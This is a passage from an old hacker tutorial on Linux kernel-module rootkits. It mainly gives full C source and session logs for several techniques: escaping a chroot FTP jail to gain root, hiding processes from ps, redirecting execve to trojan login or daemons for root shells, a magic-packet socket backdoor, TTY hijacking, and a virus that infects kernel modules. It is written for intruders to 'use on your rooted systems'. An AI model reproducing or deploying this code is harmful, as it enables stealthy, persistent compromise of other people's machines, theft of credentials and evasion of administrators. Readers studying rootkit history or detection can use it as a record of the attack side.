  1809. (standing for 'there exists no directory with that name'). Now your tools should
  1810. really be hidden from intermediate admins (advanced / paranoid ones will scan
  1811. the HDD at its lowest level, but who is paranoid today besides us ?!). It should
  1812. also be possible to defeat this HDD scan, because everything is based on
  1813. systemcalls.<br>
  1814. <H4><A NAME="II.4.7."></A>4.7 How to change CHROOT Environments </h4>
  1815. This idea is totally taken from HISPAHACK (hispahack.ccc.de). They published a
  1816. real good text on that theme ('Restricting a restricted FTP'). I will explain
  1817. their idea in some short words. Please note that the following example will
  1818. <i>not</i> work anymore, it is quite old (see wu-ftpd version). I just show
  1819. it in order to explain how you can escape from chroot environments using LKMs.
  1820. The following text is based on old software (wuftpd) so don't try to use it in newer
  1821. wu-ftpd versions, it <i>won't</i> work.<br>
  1822. HISPAHACK's paper is based on the idea of an restricted user FTP account which has the
  1823. following permission layout :<br>
  1824. <xmp>
  1825. drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/
  1826. drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/
  1827. </xmp>
  1828. This scenario (which you can often find) the user (we) can rename the bin
  1829. directory, because it is in our home directory.<br>
  1830. Before doing anything like that let's take a look at whe working of wu.ftpd
  1831. (the server they used for explanation, but the idea is more general). If we
  1832. issue a LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid).
  1833. Before the execution is actually done wu.ftpd will use chroot(...) in order to
  1834. set the process root directory in a way we are restricted to the home directory.
  1835. This prevents us from accessing other parts of the filesystem via our FTP account
  1836. (restricted).<br>
  1837. Now imagine we could replace /bin/ls with another program, this program would
  1838. be executed as root (uid=0). But what would we win, we cannot access the whole
  1839. system because of the chroot(...) call. This is the point where we need a LKM
  1840. helping us. We remove .../bin/ls with a program which loads a LKM supplied by
  1841. us. This module will intercept the sys_chroot(...) systemcall. It must be
  1842. changed in way it will no more restrict us. <br>
  1843. This means we only need to be sure that sys_chroot(...) is doing nothing.
  1844. HISPAHACK used a very radical way, they just modified sys_chroot(...) in a way
  1845. it only returns 0 and nothing more. After loading this LKM you can spawn a new
  1846. process without being restricted anymore. This means you can access the whole
  1847. system with uid=0. The following listing shows the example 'Hack-Session'
  1848. published by HISPAHACK :
  1849. <xmp>
  1850. thx:~# ftp
  1851. ftp> o ilm
  1852. Connected to ilm.
  1853. 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
  1854. Name (ilm:root): user
  1855. 331 Password required for user.
  1856. Password:
  1857. 230 User user logged in.&nbsp; Access restrictions apply.
  1858. Remote system type is UNIX.
  1859. Using binary mode to transfer files.</TT></PRE>
  1860. ftp> ls
  1861. 200 PORT command successful.
  1862. 150 Opening ASCII mode data connection for /bin/ls.
  1863. total 5
  1864. drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
  1865. drwxr-xr-x 5 user users 1024 Jun 21 11:26 ..
  1866. d--x--x--x 2 root root 1024 Jun 21 11:26 bin
  1867. drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
  1868. drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
  1869. 226 Transfer complete.
  1870. ftp> cd ..
  1871. 250 CWD command successful.
  1872. ftp> ls
  1873. 200 PORT command successful.
  1874. 150 Opening ASCII mode data connection for /bin/ls.
  1875. total 5
  1876. drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
  1877. drwxr-xr-x 5 user users 1024 Jun 21 21:26 ..
  1878. d--x--x--x 2 root root 1024 Jun 21 11:26 bin
  1879. drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
  1880. drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
  1881. 226 Transfer complete.
  1882. ftp> ls bin/ls
  1883. 200 PORT command successful.
  1884. 150 Opening ASCII mode data connection for /bin/ls.
  1885. ---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
  1886. 226 Transfer complete.
  1887. ftp> ren bin bin.old
  1888. 350 File exists, ready for destination name
  1889. 250 RNTO command successful.
  1890. ftp> mkdir bin
  1891. 257 MKD command successful.
  1892. ftp> cd bin
  1893. 250 CWD command successful.
  1894. ftp> put ls
  1895. 226 Transfer complete.
  1896. ftp> put insmod
  1897. 226 Transfer complete.
  1898. ftp> put chr.o
  1899. 226 Transfer complete.
  1900. ftp> chmod 555 ls
  1901. 200 CHMOD command successful.
  1902. ftp> chmod 555 insmod
  1903. 200 CHMOD command successful.
  1904. ftp> ls
  1905. 200 PORT command successful.
  1906. 150 Opening ASCII mode data connection for /bin/ls.
  1907. UID: 0 EUID: 1002
  1908. Cambiando EUID...
  1909. UID: 0 EUID: 0
  1910. Cargando modulo chroot...
  1911. Modulo cargado.
  1912. 226 Transfer complete.
  1913. ftp> bye
  1914. 221 Goodbye.
  1915. thx:~#
  1916. --> now we start a new FTP session without being restricted (LKM is loaded so
  1917. sys_chroot(...) is defeated. So do what you want (download passwd...)
  1918. </xmp>
  1919. In the Appendix you will find the complete source code for the new ls and the
  1920. module.<br>
  1921. <H3><A NAME="II.5."></A>5. Process related Hacks</h3>
  1922. So far the filesystem is totally controlled by us. We discussed the most
  1923. interesting 'Hacks'. Now its time to change the direction. We need to discuss
  1924. LKMs confusing commands like 'ps' showing processes.
  1925. <H4><A NAME="II.5.1."></A>5.1 How to hide any process</h4>
  1926. The most important thing we need everyday is hiding a process from the admin.
  1927. Imagine a sniffer, cracker (should normally not be done on hacked systems), ...
  1928. seen by an admin when using 'ps'. Oldschool tricks like changing the name of the
  1929. sniffer to something different, and hoping the admin is silly enough, are no good
  1930. for the 21. century. We want to hide the process totally. So lets look at an
  1931. implementation from plaguez (some very minor changes):
  1932. <xmp>
  1933. #define MODULE
  1934. #define __KERNEL__
  1935. #include <linux/module.h>
  1936. #include <linux/kernel.h>
  1937. #include <asm/unistd.h>
  1938. #include <sys/syscall.h>
  1939. #include <sys/types.h>
  1940. #include <asm/fcntl.h>
  1941. #include <asm/errno.h>
  1942. #include <linux/types.h>
  1943. #include <linux/dirent.h>
  1944. #include <sys/mman.h>
  1945. #include <linux/string.h>
  1946. #include <linux/fs.h>
  1947. #include <linux/malloc.h>
  1948. #include <linux/proc_fs.h>
  1949. extern void* sys_call_table[];
  1950. /*process name we want to hide*/
  1951. char mtroj[] = "my_evil_sniffer";
  1952. int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
  1953. /*convert a string to number*/
  1954. int myatoi(char *str)
  1955. {
  1956. int res = 0;
  1957. int mul = 1;
  1958. char *ptr;
  1959. for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  1960. if (*ptr < '0' || *ptr > '9')
  1961. return (-1);
  1962. res += (*ptr - '0') * mul;
  1963. mul *= 10;
  1964. }
  1965. return (res);
  1966. }
  1967. /*get task structure from PID*/
  1968. struct task_struct *get_task(pid_t pid)
  1969. {
  1970. struct task_struct *p = current;
  1971. do {
  1972. if (p->pid == pid)
  1973. return p;
  1974. p = p->next_task;
  1975. }
  1976. while (p != current);
  1977. return NULL;
  1978. }
  1979. /*get process name from task structure*/
  1980. static inline char *task_name(struct task_struct *p, char *buf)
  1981. {
  1982. int i;
  1983. char *name;
  1984. name = p->comm;
  1985. i = sizeof(p->comm);
  1986. do {
  1987. unsigned char c = *name;
  1988. name++;
  1989. i--;
  1990. *buf = c;
  1991. if (!c)
  1992. break;
  1993. if (c == '\\') {
  1994. buf[1] = c;
  1995. buf += 2;
  1996. continue;
  1997. }
  1998. if (c == '\n') {
  1999. buf[0] = '\\';
  2000. buf[1] = 'n';
  2001. buf += 2;
  2002. continue;
  2003. }
  2004. buf++;
  2005. }
  2006. while (i);
  2007. *buf = '\n';
  2008. return buf + 1;
  2009. }
  2010. /*check whether we need to hide this process*/
  2011. int invisible(pid_t pid)
  2012. {
  2013. struct task_struct *task = get_task(pid);
  2014. char *buffer;
  2015. if (task) {
  2016. buffer = kmalloc(200, GFP_KERNEL);
  2017. memset(buffer, 0, 200);
  2018. task_name(task, buffer);
  2019. if (strstr(buffer, (char *) &mtroj)) {
  2020. kfree(buffer);
  2021. return 1;
  2022. }
  2023. }
  2024. return 0;
  2025. }
  2026. /*see II.4 for more information on filesystem hacks*/
  2027. int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
  2028. {
  2029. unsigned int tmp, n;
  2030. int t, proc = 0;
  2031. struct inode *dinode;
  2032. struct dirent *dirp2, *dirp3;
  2033. tmp = (*orig_getdents) (fd, dirp, count);
  2034. #ifdef __LINUX_DCACHE_H
  2035. dinode = current->files->fd[fd]->f_dentry->d_inode;
  2036. #else
  2037. dinode = current->files->fd[fd]->f_inode;
  2038. #endif
  2039. if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  2040. proc=1;
  2041. if (tmp > 0) {
  2042. dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  2043. memcpy_fromfs(dirp2, dirp, tmp);
  2044. dirp3 = dirp2;
  2045. t = tmp;
  2046. while (t > 0) {
  2047. n = dirp3->d_reclen;
  2048. t -= n;
  2049. if ((proc && invisible(myatoi(dirp3->d_name)))) {
  2050. if (t != 0)
  2051. memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
  2052. else
  2053. dirp3->d_off = 1024;
  2054. tmp -= n;
  2055. }
  2056. if (t != 0)
  2057. dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  2058. }
  2059. memcpy_tofs(dirp, dirp2, tmp);
  2060. kfree(dirp2);
  2061. }
  2062. return tmp;
  2063. }
  2064. int init_module(void) /*module setup*/
  2065. {
  2066. orig_getdents=sys_call_table[SYS_getdents];
  2067. sys_call_table[SYS_getdents]=hacked_getdents;
  2068. return 0;
  2069. }
  2070. void cleanup_module(void) /*module shutdown*/
  2071. {
  2072. sys_call_table[SYS_getdents]=orig_getdents;
  2073. }
  2074. </xmp>
  2075. The code seems complicated, but if you know how 'ps' and every process analyzing
  2076. tool works, it is really easy to understand. Commands like 'ps' do not use any
  2077. special systemcall for getting a list of the current processes (there exists no
  2078. systemcall doing this). By strace'in 'ps' you will recognize that it gets its
  2079. information from the /proc/ directory. There you can find lots of directories
  2080. with names only consisting of numbers. Those numbers are the PIDs of all running
  2081. processes on that system. Inside these directories you find files which provide
  2082. any information on that process.So 'ps' just does an 'ls' on /proc/; every number
  2083. it finds stands for a PID it shows in its well-known listing. The information it
  2084. shows us about every process is gained from reading the files inside /proc/PID/.
  2085. Now you should get the idea.'ps' must read the contents of the /proc/ directory,
  2086. so it must use sys_getdents(...).We just must get the name of the a PID found in
  2087. /proc/; if it is our process name we want to hide, we will hide it from /proc/
  2088. (like we did with other files in the filesystem -> see 4.1). The two task
  2089. functions and the invisible(...) function are only used to get the name for a
  2090. given PID found in the proc directory and related stuff. The file hiding should
  2091. be clear after studying 4.1.<br>
  2092. I would improve only one point in plaguez approuch. I don't know why he used
  2093. a selfmade atoi-function, simple_strtoul(...) would be the easier way, but these
  2094. are peanuts. Of course, in a complete hide module you would put file and process
  2095. hiding in one hacked getdents call (this is the way plaguez did it).<br>
  2096. Runar Jensen used another, more complicated way. He also hides the PIDs from the
  2097. /proc directory, but the way he checks whether to hide or not is a bit different.
  2098. He uses the flags field in the task structure. This unsigned long field normally
  2099. uses the following constants to save some information on the task :<br>
  2100. <ul>
  2101. <li>PF_PTRACED : current process is observed<br>
  2102. <li>PF_TRACESYS : " " " "<br>
  2103. <li>PF_STARTING : process is going to start<br>
  2104. <li>PF_EXITING : process is going to terminate<br>
  2105. </ul>
  2106. Now Runar Jensen adds his own constant (PF_INVISIBLE) which he uses to indicate
  2107. that the corresponding process should be invisible. So a PID found in /proc by
  2108. using sys_getdents(...) must not be resolved in its name. You only have to check
  2109. for the task flag field. This sounds easier than the 'name approach'. But how to
  2110. set this flag for a process we want to hide. Runar Jensen used the easiest way
  2111. by hooking sys_kill(...). The 'kill' command can send a special code (9 for
  2112. termination, for example) to any process speciafied by his PID. So start your
  2113. process which is going to be invisible, do a 'ps' for getting its PID. And use
  2114. a 'kill -code PID'. The code field must be a value that is not used by the
  2115. system (so 9 would be a bad choice); Runar Jensen took 32. So the module needs
  2116. to hook sys_kill(...) and check for a code of 32. If so it must set the task
  2117. flags field of the process specified through the PID given to sys_kill(...).
  2118. This is a way to set the flag field. Now it is clear why this approach is a bit
  2119. too complicated for an easy practical use.
  2120. <H4><A NAME="II.5.2."></A>5.2 How to redirect Execution of files</h4>
  2121. In certain situations it could be very interesting to redirect the execution
  2122. of a file. Those files could be /bin/login (like plaguez did), tcpd, etc.. This
  2123. would allow you to insert any trojan without problem of checksum checks on those
  2124. files (you don't need to change them). So let's again search the responsible
  2125. systemcall. sys_execve(...) is the one we need. Let's take a look at plaguez
  2126. way of redirection (the original idea came from halflife) :<br>
  2127. <xmp>
  2128. #define MODULE
  2129. #define __KERNEL__
  2130. #include <linux/module.h>
  2131. #include <linux/kernel.h>
  2132. #include <asm/unistd.h>
  2133. #include <sys/syscall.h>
  2134. #include <sys/types.h>
  2135. #include <asm/fcntl.h>
  2136. #include <asm/errno.h>
  2137. #include <linux/types.h>
  2138. #include <linux/dirent.h>
  2139. #include <sys/mman.h>
  2140. #include <linux/string.h>
  2141. #include <linux/fs.h>
  2142. #include <linux/malloc.h>
  2143. extern void* sys_call_table[];
  2144. /*must be defined because of syscall macro used below*/
  2145. int errno;
  2146. /*we define our own systemcall*/
  2147. int __NR_myexecve;
  2148. /*we must use brk*/
  2149. static inline _syscall1(int, brk, void *, end_data_segment);
  2150. int (*orig_execve) (const char *, const char *[], const char *[]);
  2151. /*here plaguez's user -> kernel space transition specialized for strings
  2152. is better than memcpy_fromfs(...)*/
  2153. char *strncpy_fromfs(char *dest, const char *src, int n)
  2154. {
  2155. char *tmp = src;
  2156. int compt = 0;
  2157. do {
  2158. dest[compt++] = __get_user(tmp++, 1);
  2159. }
  2160. while ((dest[compt - 1] != '\0') && (compt != n));
  2161. return dest;
  2162. }
  2163. /*this is something like a systemcall macro called with SYS_execve, the
  2164. asm code calls int 0x80 with the registers set in a way needed for our own
  2165. __NR_myexecve systemcall*/
  2166. int my_execve(const char *filename, const char *argv[], const char *envp[])
  2167. {
  2168. long __res;
  2169. __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
  2170. (filename)), "c"((long) (argv)), "d"((long) (envp)));
  2171. return (int) __res;
  2172. }
  2173. int hacked_execve(const char *filename, const char *argv[], const char *envp[])
  2174. {
  2175. char *test;
  2176. int ret, tmp;
  2177. char *truc = "/bin/ls"; /*the file we *should* be executed*/
  2178. char *nouveau = "/bin/ps"; /*the new file which *will* be executed*/
  2179. unsigned long mmm;
  2180. test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
  2181. /*get file which a user wants to execute*/
  2182. (void) strncpy_fromfs(test, filename, strlen(truc));
  2183. test[strlen(truc)] = '\0';
  2184. /*do we have our truc file ?*/
  2185. if (!strcmp(test, truc))
  2186. {
  2187. kfree(test);
  2188. mmm = current->mm->brk;
  2189. ret = brk((void *) (mmm + 256));
  2190. if (ret < 0)
  2191. return ret;
  2192. /*set new program name (the program we want to execute instead of /bin/ls or
  2193. whatever)*/
  2194. memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
  2195. /*execute it with the *same* arguments / environment*/
  2196. ret = my_execve((char *) (mmm + 2), argv, envp);
  2197. tmp = brk((void *) mmm);
  2198. } else {
  2199. kfree(test);
  2200. /*no the program was not /bin/ls so execute it the normal way*/
  2201. ret = my_execve(filename, argv, envp);
  2202. }
  2203. return ret;
  2204. }
  2205. int init_module(void) /*module setup*/
  2206. {
  2207. /*the following lines choose the systemcall number of our new myexecve*/
  2208. __NR_myexecve = 200;
  2209. while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  2210. __NR_myexecve--;
  2211. orig_execve = sys_call_table[SYS_execve];
  2212. if (__NR_myexecve != 0)
  2213. {
  2214. sys_call_table[__NR_myexecve] = orig_execve;
  2215. sys_call_table[SYS_execve] = (void *) hacked_execve;
  2216. }
  2217. return 0;
  2218. }
  2219. void cleanup_module(void) /*module shutdown*/
  2220. {
  2221. sys_call_table[SYS_execve]=orig_execve;
  2222. }
  2223. </xmp>
  2224. When you loaded this module, every call to /bin/ls will just execute /bin/ps.
  2225. The following list gives you some ideas how to use this redirection of execve :
  2226. <ul>
  2227. <li>trojan /bin/login with a hacker login (how plaguez suggests)<br>
  2228. <li>trojan tcpd to open a rootshell on a certain port, or to filter its logging
  2229. behaviour (remember CERT advisory on a trojan TCPD version)<br>
  2230. <li>trojan inetd for a root shell<br>
  2231. <li>trojan httpd, sendmail, ... any server you can think of, for a rootshell, by
  2232. issuing a special magic string<br>
  2233. <li>trojan tools like tripwire, L6<br>
  2234. <li>other system security relevant tools<br>
  2235. </ul>
  2236. There are thousands of other intersting programs to 'trojan', just use your
  2237. brain.
  2238. <H3><A NAME="II.6."></A>6. Network (Socket) related Hacks</h3>
  2239. The network is the hacker's playground. So let's look at something which can
  2240. help us.
  2241. <H4><A NAME="II.6.1."></A>6.1 How to controll Socket Operations</h4>
  2242. There are many things you can do by controlling Socket Operations. plaguez gave
  2243. us a nice backdoor. He just intercepts the sys_socketcall systemcall, waiting
  2244. for a packet with a certain length and a certain contents. So let's take a look
  2245. at his hacked systemcall (I will only show the hacked_systemcall, because the
  2246. rest is equal to every other LKM mentioned in this section) :
  2247. <xmp>
  2248. int hacked_socketcall(int call, unsigned long *args)
  2249. {
  2250. int ret, ret2, compt;
  2251. /*our magic size*/
  2252. int MAGICSIZE=42;
  2253. /*our magic contents*/
  2254. char *t = "packet_contents";
  2255. unsigned long *sargs = args;
  2256. unsigned long a0, a1, mmm;
  2257. void *buf;
  2258. /*do the call*/
  2259. ret = (*o_socketcall) (call, args);
  2260. /*did we have magicsize & and a recieve ?*/
  2261. if (ret == MAGICSIZE && call == SYS_RECVFROM)
  2262. {
  2263. /*work on arguments*/
  2264. a0 = get_user(sargs);
  2265. a1 = get_user(sargs + 1);
  2266. buf = kmalloc(ret, GFP_KERNEL);
  2267. memcpy_fromfs(buf, (void *) a1, ret);
  2268. for (compt = 0; compt < ret; compt++)
  2269. if (((char *) (buf))[compt] == 0)
  2270. ((char *) (buf))[compt] = 1;
  2271. /*do we have magic_contents ?*/
  2272. if (strstr(buf, mtroj))
  2273. {
  2274. kfree(buf);
  2275. ret2 = fork();
  2276. if (ret2 == 0)
  2277. {
  2278. /*if so execute our proggy (shell or whatever you want...) */
  2279. mmm = current->mm->brk;
  2280. ret2 = brk((void *) (mmm + 256));
  2281. memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
  2282. /*plaguez's execve implementation -> see 4.2*/
  2283. ret2 = my_execve((char *) mmm + 2, NULL, NULL);
  2284. }
  2285. }
  2286. }
  2287. return ret;
  2288. }
  2289. </xmp>
  2290. Ok, as always I added some comments to the code, which is a bit ugly, but working.
  2291. The code intercepts every sys_socketcall (which is responsible for everything
  2292. concerning socket-operations see I.2). Inside the hacked systemcall the code
  2293. first issues a normal systemcall. After that the return value and call variables
  2294. are checked. If it was a receive Socketcall and the 'packetsize' (...nothing to
  2295. do with TCP/IP packets...) is ok it will check the contents which was received.
  2296. If it can find our magic contents, the code can be sure,that we (hacker) want to
  2297. start the backdoor program. This is done by my_execve(...).<br>
  2298. In my opinion this approach is very good, it would also be possible to wait
  2299. for a speciel connect / close pattern, just be creative.<br>
  2300. Please remember that the methods mentioned above need a service listing on a
  2301. certain port, because the receive function is only issued by daemons receiving
  2302. data from an established connection. This is a disadvantage, because it could be
  2303. a bit suspect for some paranoid admins out there. Test those backdoor LKM ideas
  2304. first on your system to see what will happen. Find your favourite way of
  2305. backdoor'ing the sys_socketcall, and use it on your rooted systems.
  2306. <H3><A NAME="II.7."></A>7. Ways to TTY Hijacking</h3>
  2307. TTY hijacking is very interesting and also something used since a very very long
  2308. time. We can grab every input from a TTY we specify throug its major and minor
  2309. number. In Phrack 50 halflife published a really good LKM doing this. The
  2310. following code is ripped from his LKM. It should show every beginner the basics
  2311. of TTY hijacking though its no complete implementation, you cannot use it in any
  2312. useful way, because I did <i>not</i> implement a way of logging the TTY input made
  2313. by the user. It's just for those of you who want to understand the basics, so
  2314. here we go :
  2315. <xmp>
  2316. #define MODULE
  2317. #define __KERNEL__
  2318. #include <linux/module.h>
  2319. #include <linux/kernel.h>
  2320. #include <asm/unistd.h>
  2321. #include <sys/syscall.h>
  2322. #include <sys/types.h>
  2323. #include <asm/fcntl.h>
  2324. #include <asm/errno.h>
  2325. #include <linux/types.h>
  2326. #include <linux/dirent.h>
  2327. #include <sys/mman.h>
  2328. #include <linux/string.h>
  2329. #include <linux/fs.h>
  2330. #include <linux/malloc.h>
  2331. #include <asm/io.h>
  2332. #include <sys/sysmacros.h>
  2333. int errno;
  2334. /*the TTY we want to hijack*/
  2335. int tty_minor = 2;
  2336. int tty_major = 4;
  2337. extern void* sys_call_table[];
  2338. /*we need the write systemcall*/
  2339. static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
  2340. void *original_write;
  2341. /* check if it is the tty we are looking for */
  2342. int is_fd_tty(int fd)
  2343. {
  2344. struct file *f=NULL;
  2345. struct inode *inode=NULL;
  2346. int mymajor=0;
  2347. int myminor=0;
  2348. if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
  2349. return 0;
  2350. mymajor = major(inode->i_rdev);
  2351. myminor = minor(inode->i_rdev);
  2352. if(mymajor != tty_major) return 0;
  2353. if(myminor != tty_minor) return 0;
  2354. return 1;
  2355. }
  2356. /* this is the new write(2) replacement call */
  2357. extern int new_write(int fd, char *buf, size_t count)
  2358. {
  2359. int r;
  2360. char *kernel_buf;
  2361. if(is_fd_tty(fd))
  2362. {
  2363. kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);
  2364. memcpy_fromfs(kernel_buf, buf, count);
  2365. /*at this point you can output buf whereever you want, it represents
  2366. every input on the TTY device referenced by the chosen major / minor
  2367. number
  2368. I did not implement such a routine, because you will see a complete &
  2369. very good TTY hijacking tool by halflife in appendix A */
  2370. kfree(kernel_buf);
  2371. }
  2372. sys_call_table[SYS_write] = original_write;
  2373. r = write(fd, buf, count);
  2374. sys_call_table[SYS_write] = new_write;
  2375. if(r == -1) return -errno;
  2376. else return r;
  2377. }
  2378. int init_module(void)
  2379. {
  2380. /*you should know / understand this...*/
  2381. original_write = sys_call_table[SYS_write];
  2382. sys_call_table[SYS_write] = new_write;
  2383. return 0;
  2384. }
  2385. void cleanup_module(void)
  2386. {
  2387. /*no more hijacking*/
  2388. sys_call_table[SYS_write] = original_write;
  2389. }
  2390. </xmp>
  2391. The comments should make this code easy to read.The general idea is to intercept
  2392. sys_write (see 4.2) and filtering the fd value as I mentioned in 4.2. After
  2393. checking fd for the TTY we want to snoop, get the data written and write it
  2394. to some log (not implemented in the example above).There are several ways where
  2395. you can store the logs.halflife used a buffer (accessible through an own device)
  2396. which is a good idea (he can also control his hijack'er using ioctl-commands
  2397. on his device).<br>
  2398. I personally would recommand storing the logs in hidden (through LKM) file,
  2399. and making the controlling through some kind of IPC. Take the way which works
  2400. on your rooted system.<br>
  2401. <H3><A NAME="II.8."></A>8. Virus writing with LKMs</h3>
  2402. Now we will leave the hacking part for a second and take a look at the
  2403. world of virus coding (the ideas discussed here could also be
  2404. interesting for hackers, so read on...). I will concentrate this discussion
  2405. on the LKM infector made by Stealthf0rk/SVAT. In appendix A you will get the
  2406. complete source, so this section will only discuss important techniques and
  2407. functions. This LKM requires a Linux system (it was tested on a 2.0.33 system)
  2408. and kerneld installed (I will explain why).<br>
  2409. First of all you have to know that this LKM infector does not infect normal
  2410. elf <i>executables</i> (would also be possible,I will come to that point later->7.1),
  2411. it only infects <i>modules</i>, which are loaded / unloaded. This loading / unloading
  2412. is often managed by kerneld (see I.7). So imagine a module infected with the
  2413. virus code; when loading this module you also load the virus LKM which uses
  2414. hiding features (see 8). This virus module intercepts the sys_create_module
  2415. and sys_delete_module (see I.2) systemcalls for further infection. Whenever
  2416. a module is unloaded on that system it is infected by the new sys_delete_module
  2417. systemcall. So every module requested by kerneld (or manually) will be infected
  2418. when unloaded.<br>
  2419. You could imagine the following scenario for the first infection :
  2420. <ul>
  2421. <li>admin is searching a network driver for his new interface card (ethernet,...)<br>
  2422. <li>he starts searching the web <br>
  2423. <li>he finds a driver module which should work on his system & downloads it<br>
  2424. <li>he installs the module on his system [the module <i>is</i> infected]<br>
  2425. --> the infector is installed, the system is compromised<br>
  2426. </ul>
  2427. Of course, he did not download the source, he was lazy and took the risks using
  2428. a binary file. So admins <i>never</i> trust any binary files (esp. modules).
  2429. So I hope you see the chances / risks of LKM infectors, now let's look a bit
  2430. closer at the LKM infector by SVAT.<br>
  2431. Imagine you have the source for the virus LKM (a simple module, which intercepts
  2432. sys_create_module / sys_delete_module and some other [more tricky] stuff). The
  2433. first question would be how to infect an existing module (the host module). Well
  2434. let's do some experimenting. Take two modules and 'cat' them together like
  2435. <xmp>
  2436. # cat module1.o >> module2.o
  2437. </xmp>
  2438. After this try to insmod the resulting module2.o (which also includes module1.o
  2439. at its end).
  2440. <xmp>
  2441. # insmod module2.o
  2442. </xmp>
  2443. Ok it worked, now check which modules are loaded on your system
  2444. <xmp>
  2445. # lsmod
  2446. Module Pages Used by
  2447. module2 1 0
  2448. </xmp>
  2449. So we know that by concatenating two modules the first one (concerning object
  2450. code) will be loaded, the second one will be ignored. And there will be no error
  2451. saying that insmod can not load corrupted code or so.<br>
  2452. With this in mind, it should be clear that a host module could be infected by
  2453. <xmp>
  2454. cat host_module.o >> virus_module.o
  2455. ren virus_module.o host_module.o
  2456. </xmp>
  2457. This way loading host_module.o will load the virus with all its nice LKM
  2458. features. But there is one problem, how do we load the actual host_module ? It
  2459. would be very strange to a user / admin when his device driver would do nothing.
  2460. Here we need the help of kerneld. As I said in I.7 you can use kerneld to load
  2461. a module. Just use request_module("module_name") in your sources.This will force
  2462. kerneld to load the specified module. But where do we get the original host
  2463. module from ? It is packed in host_module.o (together with virus_module.o). So
  2464. after compiling your virus_module.c to its objectcode you have to look at its
  2465. size (how many bytes). After this you know where the original host_module.o will
  2466. begin in the packed one (you must compile the virus_module two times : the first
  2467. one to check the objectcode size, the second one with the source changed
  2468. concerning objectsize which must be hardcoded...). After these steps your
  2469. virus_module should be able to extract the original host_module.o from the
  2470. packed one. You have to save this extracted module somewhere, and load it via
  2471. request_module("orig_host_module.o"). After loading the original host_module.o
  2472. your virus_module (which is also loaded from the insmod [issued by user, or
  2473. kerneld]) can start infecting any loaded modules.<br>
  2474. Stealthf0rk (SVAT) used the sys_delete_module(...) systemcall for doing the
  2475. infection, so let's take a look at his hacked systemcall (I only added some
  2476. comments) :
  2477. <xmp>
  2478. /*just the hacked systemcall*/
  2479. int new_delete_module(char *modname)
  2480. {
  2481. /*number of infected modules*/
  2482. static int infected = 0;
  2483. int retval = 0, i = 0;
  2484. char *s = NULL, *name = NULL;
  2485. /*call the original sys_delete_module*/
  2486. retval = old_delete_module(modname);
  2487. if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
  2488. return retval;
  2489. /*check files to infect -> this comes from hacked sys_create_module; just
  2490. a feature of *this* LKM infector, nothing generic for this type of virus*/
  2491. for (i = 0; files2infect[i][0] && i < 7; i++)
  2492. {
  2493. strcat(files2infect[i], ".o");
  2494. if ((s = get_mod_name(files2infect[i])) == NULL)
  2495. {
  2496. return retval;
  2497. }
  2498. name = strcpy(name, s);
  2499. if (!is_infected(name))
  2500. {
  2501. /*this is just a macro wrapper for printk(...)*/
  2502. DPRINTK("try 2 infect %s as #%d\n", name, i);
  2503. /*increase infection counter*/
  2504. infected++;
  2505. /*the infect function*/
  2506. infectfile(name);
  2507. }
  2508. memset(files2infect[i], 0, 60 + 2);
  2509. } /* for */
  2510. /* its enough */
  2511. /*how many modules were infected, if enough then stop and quit*/
  2512. if (infected >= ENOUGH)
  2513. cleanup_module();
  2514. vfree(name);
  2515. return retval;
  2516. }
  2517. </xmp>
  2518. Well there is only one function interesting in this systemcall: infectfile(...).
  2519. So let's examine that function (again only some comments were added by me) :
  2520. <xmp>
  2521. int infectfile(char *filename)
  2522. {
  2523. char *tmp = "/tmp/t000";
  2524. int in = 0, out = 0;
  2525. struct file *file1, *file2;
  2526. /*don't get confused, this is a macro define by the virus. It does the
  2527. kernel space -> user space handling for systemcall arguments(see I.4)*/
  2528. BEGIN_KMEM
  2529. /*open objectfile of the module which was unloaded*/
  2530. in = open(filename, O_RDONLY, 0640);
  2531. /*create a temp. file*/
  2532. out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
  2533. /*see BEGIN_KMEM*/
  2534. END_KMEM
  2535. DPRINTK("in infectfile: in = %d out = %d\n", in, out);
  2536. if (in <= 0 || out <= 0)
  2537. return -1;
  2538. file1 = current->files->fd[in];
  2539. file2 = current->files->fd[out];
  2540. if (!file1 || !file2)
  2541. return -1;
  2542. /*copy module objectcode (host) to file2*/
  2543. cp(file1, file2);
  2544. BEGIN_KMEM
  2545. file1->f_pos = 0;
  2546. file2->f_pos = 0;
  2547. /* write Vircode [from mem] */
  2548. DPRINTK("in infetcfile: filenanme = %s\n", filename);
  2549. file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
  2550. cp(file2, file1);
  2551. close(in);
  2552. close(out);
  2553. unlink(tmp);
  2554. END_KMEM
  2555. return 0;
  2556. }
  2557. </xmp>
  2558. I think the infection function should be quite clear.<br>
  2559. There is only thing left which I think is necessary to discuss : How does
  2560. the infected module first start the virus, and load the original module (we know
  2561. the theory, but how to do it in reality) ?<br>
  2562. For answering this question lets take a look at a function called
